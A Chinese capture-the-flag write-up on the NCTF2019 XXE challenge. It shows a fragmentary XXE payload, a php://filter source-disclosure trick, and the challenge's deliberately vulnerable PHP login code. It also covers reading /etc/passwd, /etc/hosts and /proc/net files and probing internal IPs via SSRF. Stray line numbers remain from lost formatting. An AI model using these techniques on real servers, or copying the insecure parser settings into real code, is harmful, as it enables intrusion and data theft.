[NCTF2019]True XML cookbook

xxe漏洞:

与Fake XML Cookbook一样的类型,比fake难一些

Fake XML Cookbook:

这个是直接xxe漏洞:

]>

1
<user><username>&admin;</username><password>123456</password></user>

这个不能这样做:因为没有反应,反正是读文件

这个读不了读别的:php:filter/convert.base64-encode/resource=doLogin.php

获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//doLogin.php
<?php\n/**
* autor: c0ny1\n* date: 2018-2-7
*/

$USERNAME = 'admin'; //\xe8\xb4\xa6\xe5\x8f\xb7
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //\xe5\xaf\x86\xe7\xa0\x81
$result = null;
libxml_disable_entity_loader(false); // libxml_disable_entity_loader用于禁用或启用加载外部实体的功能。禁用(TRUE)或启用(FALSE)。
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // loadXML() 方法通过解析一个 XML 标签字符串来组成该文档
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{ // sprintf() 函数把格式化的字符串写入变量中。
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

simplexml_import_dom() 函数把 DOM 节点转换为 SimpleXMLElement 对象。获取 DOM 文档节点并转换为 SimpleXML 节点:

1
2
3
4
5
6
<?php
$dom=new domDocument;
$dom->loadXML("<note><to>Tove</to><from>Jani</from></note>");
$x=simplexml_import_dom($dom);
echo $x->from;
?>

输出类似:

1
Jani

emm……没什么发现,但是读取源码的payload我还是在这里记录一哈。
这一次有所不同,上一题是我们读取文件得到flag。这次是刺探存活的服务器;

其实很多人都小看了xxe漏洞,觉得它只可以读读文件啊什么的,其实大错特错,它还可以访问内网的主机,和ssrf利用的dict伪协议一样,都可以刺探存活的主机并且链接访问;也可以看作这个题是在打内网;

好的我们老样子,我们利用ssrf读内网文件。先用file协议读取相关的文件 /etc/passwd 和 /etc/hosts;当我们读取到hosts文件的时候,我们会发现有几个ip地址,我们便来访问一下,(到这里应该可以猜到是在打内网了)

1
只能想到利用xxe进行ssrf打内网,扫描一下内网ip的几个文件:/etc/hosts,/proc/net/arp,/proc/net/fib_trie

21

然后就是找内网服务器了:读这个http://173.113.242.10

没找到,还在报错

3

换个服务器

http://173.113.242.11

11

获取flag,完成啦